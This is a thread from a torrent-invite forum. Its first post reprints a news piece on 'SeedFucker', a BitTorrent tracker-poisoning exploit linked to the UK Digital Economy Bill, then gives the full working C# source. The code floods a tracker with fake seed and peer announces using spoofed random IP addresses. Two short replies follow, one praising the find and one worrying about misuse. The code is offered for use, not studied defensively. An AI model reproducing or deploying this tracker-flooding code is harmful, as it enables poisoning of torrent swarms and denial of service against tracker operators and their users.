Torrent Invites! Buy, Trade, Sell Or Find Free Invites, For EVERY Private Tracker! HDBits.org, BTN, PTP, MTV, Empornium, Orpheus, Bibliotik, RED, IPT, TL, PHD etc!



Results 1 to 3 of 3
  1. #1
    Founder
    GanonDorf's Avatar
    Reputation Points
    4970
    Reputation Power
    100
    Join Date
    Jan 2010
    Posts
    811
    Time Online
    N/A
    Avg. Time Online
    N/A
    Mentioned
    1 Post(s)
    Quoted
    4 Post(s)
    Liked
    208 times
    Feedbacks
    231 (100%)

    Exclamation Internet abuzz with BitTorrent bypass code

    A block of 86 lines of C# code is creating a buzz online following claims it may make BitTorrent downloads untraceable.

    The code, sweetly named SeedFucker, is actually an exploit discovered last November that would allow a BitTorent user to fake the IP address of a server from where a file could be downloaded. It could also be used to flood a BitTorrent with dozens of fake peers. The sudden interest in the exploit follows measures in a new UK law, passed last week, where ISPs may be obliged to provide IP addresses to the authorities of files that are said to be infringing copyright.

    Since the Digital Economy Bill passed in a heavily criticised “wash-up” process in the final Parliamentary session before a general election, coders have been working hard on developing a new generation of download software that will make it impossible even for ISPs to identify where files are being stored.

    It is unlikely that SeedFucker in its current form would achieve that goal, but the exploit itself has coders excited about the possibilities of a truly anonymous downloading system.

    Of course, this is not the first time that heavy-handed action on the part of the authorities has caused a rapid evolution in software used to spread files around the Internet. Most famously, Napster was shutdown by the music industry because it allowed people to share and download music files. The weak point in that case was Napster’s own servers which made the connections between users and files.

    No sooner had Napster been taken down than a new method of file sharing, BitTorrent, was rapidly adopted. BitTorrent allows people to share files held on their hard drives across the Internet in very small pieces, with every person downloading each piece also becoming a source for download so long as they maintain an Internet connection. (The Napster shutdown also led to a big increase in size of the so-called Dark Net where private Internets are set up and taken down outside the view of any authorities).

    The BitTorrent iteration led to extensive efforts to shut down websites that held the initial seed files needed to start a download, with mixed success. The Pirate Bay became the target of international pressure after it thumbed its nose at both the music and film industries after broadband speeds made the exchange of video files a practical reality. The organization’s website was briefly taken down after a raid by the Swedish authorities.

    With companies now determinedly lobbying governments to force the providers of Internet access themselves – ISPs – to provide details of exchanged files, coders are working on ways to further anonymize the process.

    How successful that approach will be, or whether it is an inevitability given enough time, we shall have to see, but watching the enthusiasm surrounding SeedFucker, it is certain that if a solution is found it will rapidly make a mockery of the laws hurriedly passed without sufficient democratic review last week.

    And after that, where then? Legally enforced requirements for software to use specific port numbers? Mandatory use of iPads so only Steve Jobs can decide what you can use the Internet for? Who knows?


    Code:
    /*
     *
     * This C# code sends hundreds of announce requests per minute.
     *
     * I know you C fanboys are pulling you hair out right now, but I don't care. C# is the win, bitches.
     *
     */
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Net;
    using System.Threading;
    
    namespace SeedFucker
    {
        class Program
        {
            static void Main(string[] args)
            {
                // create a thread pool with 5 threads
                List<Thread> tp = new List<Thread>();
                for (int i = 0; i < 5; i++)
                {
                    tp.Add(new Thread(TorrentThread));
                    tp[i].Start();
                    Thread.Sleep(10);
                }
                while (true)
                {
                    Thread.Sleep(50);
                }
            }
    
            static void TorrentThread()
            {
                // create a web client with a "no cache" policy
                WebClient wc = new WebClient();
                wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
    
                // the infohash of the torrent we want to poison
                string hash = "1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1";
    
                // encode the hash
                string hashEncoded = "";
                for (int i = 0; i < 20; i++)
                {
                    hashEncoded += "%" + hash[i * 2] + hash[(i * 2) + 1];
                }
    
                // enter the main loop
                while (true)
                {
                    // generate a random IP address
                    string ip = GenerateIP();
                    // create a timestamp for display purposes
                    string time = "[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] ";
    
                    // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
                    bool completed = (RNG.Next(0, 3) == 0);
                    string torrentEvent = (completed ? "completed" : "started");
    		// pick a random size 
                    int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
                    // create the url - change the announce url to whatever your particular torrent is using
                    string url = "http://tracker.example.com/announce?info_hash=" + hashEncoded + "&peer_id=" + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + "&port=" + RNG.Next(5000, 32000).ToString() + "&uploaded=0&downloaded=0&left=" + left.ToString() + "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
                    // attempt the announce
                    try
                    {
                        wc.DownloadData(url);
                        Console.WriteLine(time + "Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]");
                    }
                    catch
                    {
                    }
                }
            }
    
            static string GenerateIP()
            {
                // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
                return RNG.Next(50, 220).ToString() + "." + RNG.Next(10, 100).ToString() + "." + RNG.Next(1, 255).ToString() + "." + RNG.Next(1, 255).ToString();
            }
        }
    
        class RNG
        {
            private static Random _rng = new Random();
    
            public static int Next(int min, int max)
            {
                return _rng.Next(min, max);
            }
        }
    }
    Make sure you read the Sticky Threads and the Rules

  2. #2
    Donor dattebayo's Avatar
    Reputation Points
    11
    Reputation Power
    53
    Join Date
    Mar 2010
    Posts
    157
    Time Online
    N/A
    Avg. Time Online
    N/A
    Mentioned
    0 Post(s)
    Quoted
    1 Post(s)
    Liked
    7 times
    Feedbacks
    2 (100%)
    Sweet find Arag. I hope this pans out soon

  3. #3
    JamminJ
    Guest JamminJ's Avatar
    So.. it's a data announce "Attack"? Is this code something that could potentially hurt the integrity of future .torrents and used often and widely? Just seems that this is going to be the next atom bomb. The code itself made under the best intentions for .torrenters and their anonymity. Yet the use of the Code and it's abilities will be realized and had by the wrong sources and made to backfire.. thus.. making a mockery of itself.

    Not trying to rain on anyone's parade.. just saying. When C# Codes are just openly published.. you know.. ouch


Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •